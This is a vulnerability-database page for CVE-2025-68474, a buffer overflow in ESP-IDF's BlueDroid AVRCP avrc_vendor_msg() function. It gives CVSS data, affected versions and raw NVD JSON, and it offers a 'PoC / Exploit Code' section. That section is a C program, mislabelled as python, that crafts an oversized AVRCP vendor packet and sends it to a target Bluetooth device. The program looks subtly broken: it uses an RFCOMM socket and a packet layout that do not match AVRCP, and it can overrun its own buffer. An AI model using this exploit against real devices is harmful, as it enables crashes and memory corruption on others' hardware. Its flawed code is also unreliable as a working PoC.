Security Vulnerability Report
中文
CVE-2025-68474 CVSS 7.6 HIGH

CVE-2025-68474

Published: 2025-12-27 00:15:42
Last Modified: 2026-01-22 16:00:52

Description

ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, in the avrc_vendor_msg() function of the ESP-IDF BlueDroid AVRCP stack, the allocated buffer size was validated using AVRC_MIN_CMD_LEN (20 bytes). However, the actual fixed header data written before the vendor payload exceeds this value. This totals 29 bytes written before p_msg->p_vendor_data is copied. Using the old AVRC_MIN_CMD_LEN could allow an out-of-bounds write if vendor_len approaches the buffer limit. For commands where vendor_len is large, the original buffer allocation may be insufficient, causing writes beyond the allocated memory. This can lead to memory corruption, crashes, or other undefined behavior. The overflow could be larger when assertions are disabled.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:espressif:esp-idf:5.1.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.2.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.3.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.4.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.5.1:*:*:*:*:*:*:* - VULNERABLE
ESP-IDF 5.5.1及更早版本
ESP-IDF 5.4.3及更早版本
ESP-IDF 5.3.4及更早版本
ESP-IDF 5.2.6及更早版本
ESP-IDF 5.1.6及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-68474 PoC - ESP-IDF BlueDroid AVRCP Buffer Overflow * This PoC demonstrates the buffer overflow in avrc_vendor_msg() * Attack Vector: Adjacent Network (Bluetooth) * Target: ESP-IDF devices with BlueDroid AVRCP stack */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <bluetooth/bluetooth.h> #include <bluetooth/rfcomm.h> // AVRCP Command Headers #define AVRC_MIN_CMD_LEN 20 #define AVRC_VENDOR_CMD_PKT_TYPE 0x00 // Malicious AVRCP Vendor Command Structure typedef struct { uint8_t pkt_type; // Packet type (0x00 for Vendor) uint8_t subtitle[3]; // Subunit ID and opcode uint8_t company_id[3]; // IEEE Vendor ID (Bluetooth SIG: 0x001958) uint8_t vendor_len; // Vendor-specific data length uint8_t vendor_data[256]; // Malicious payload } __attribute__((packed)) avrc_vendor_cmd_t; void craft_malicious_avrcp_packet(avrc_vendor_cmd_t *cmd, size_t vendor_data_len) { // Set packet type to Vendor command cmd->pkt_type = AVRC_VENDOR_CMD_PKT_TYPE; // Subunit header (will cause 29 bytes to be written before vendor_data) cmd->subtitle[0] = 0x00; // Subunit type cmd->subtitle[1] = 0x00; // Subunit ID cmd->subtitle[2] = 0x7C; // Opcode for VENDOR_DEPENDENT // Bluetooth SIG Company ID cmd->company_id[0] = 0x00; cmd->company_id[1] = 0x19; cmd->company_id[2] = 0x58; // Set vendor_len to trigger overflow (exceeds buffer allocation) cmd->vendor_len = (uint8_t)(vendor_data_len & 0xFF); // Fill vendor_data with pattern for overflow memset(cmd->vendor_data, 0x41, vendor_data_len); } int send_malicious_avrcp_packet(int sock, size_t overflow_size) { avrc_vendor_cmd_t cmd; size_t total_size; // Craft packet with overflow-sized vendor data // The vulnerability: buffer allocated based on AVRC_MIN_CMD_LEN (20) // but 29 bytes written before vendor_data copy craft_malicious_avrcp_packet(&cmd, overflow_size); total_size = sizeof(avrc_vendor_cmd_t) - sizeof(cmd.vendor_data) + overflow_size; printf("[*] Sending malicious AVRCP packet with vendor_len=%zu\n", overflow_size); printf("[*] Expected buffer: 20 bytes, Actual header: 29 bytes\n"); printf("[*] Overflow size: %zu bytes\n", overflow_size > 9 ? overflow_size - 9 : 0); // Send malicious packet via Bluetooth RFCOMM if (send(sock, &cmd, total_size, 0) < 0) { perror("[-] Send failed"); return -1; } printf("[+] Malicious packet sent successfully\n"); return 0; } int main(int argc, char *argv[]) { int sock; struct sockaddr_rc addr; size_t overflow_size = 64; // Default overflow size if (argc > 1) { overflow_size = atoi(argv[1]); } printf("=== CVE-2025-68474 PoC ===\n"); printf("Target: ESP-IDF BlueDroid AVRCP Stack\n"); printf("Vulnerability: Buffer overflow in avrc_vendor_msg()\n\n"); // Create Bluetooth socket sock = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } // Set target Bluetooth address (ESP device) str2ba("XX:XX:XX:XX:XX:XX", &addr.rc_bdaddr); addr.rc_family = AF_BLUETOOTH; addr.rc_channel = 3; // AVRCP channel printf("[*] Connecting to target device...\n"); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("[-] Connection failed"); close(sock); return 1; } printf("[+] Connected successfully\n"); // Send malicious packet send_malicious_avrcp_packet(sock, overflow_size); close(sock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68474", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:42.490", "lastModified": "2026-01-22T16:00:51.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, in the avrc_vendor_msg() function of the ESP-IDF BlueDroid AVRCP stack, the allocated buffer size was validated using AVRC_MIN_CMD_LEN (20 bytes). However, the actual fixed header data written before the vendor payload exceeds this value. This totals 29 bytes written before p_msg->p_vendor_data is copied. Using the old AVRC_MIN_CMD_LEN could allow an out-of-bounds write if vendor_len approaches the buffer limit. For commands where vendor_len is large, the original buffer allocation may be insufficient, causing writes beyond the allocated memory. This can lead to memory corruption, crashes, or other undefined behavior. The overflow could be larger when assertions are disabled."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.1.6:*:*:*:*:*:*:*", "matchCriteriaId": "90D991F0-A03E-44CF-9187-75897399797A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.2.6:*:*:*:*:*:*:*", "matchCriteriaId": "37A040C2-E9D4-4678-9A10-74B5AEE4901D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.3.4:*:*:*:*:*:*:*", "matchCriteriaId": "AA4D9168-C8C1-4B1A-81C3-D4888DB36CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.4.3:*:*:*:*:*:*:*", "matchCriteriaId": "7CA4F443-03D3-4B10-909E-A813F72BC08C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "C84481DF-BAFA-4644-B5B1-1F9BB5F535E4"}]}]}], "references": [{"url": "https://github.com/espressif/esp-idf/commit/0b0b59f2e19cb99dfa1b28c284d1c5c1d276a132", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/565fa98d0cfd58102204c1cb636747e17ee59845", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/8262ee807d5cd425f66304f703eeb3382fb888c0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/a6c1bc5e3e91ad1cb964ce2c178ee40a5d10a4a0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/aa0e3d75db995b7137b55349fc92ee684b47092d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/b9ba1e29b65536ab4b670ac099585d09adce0376", "source": "security-adviso ... (truncated)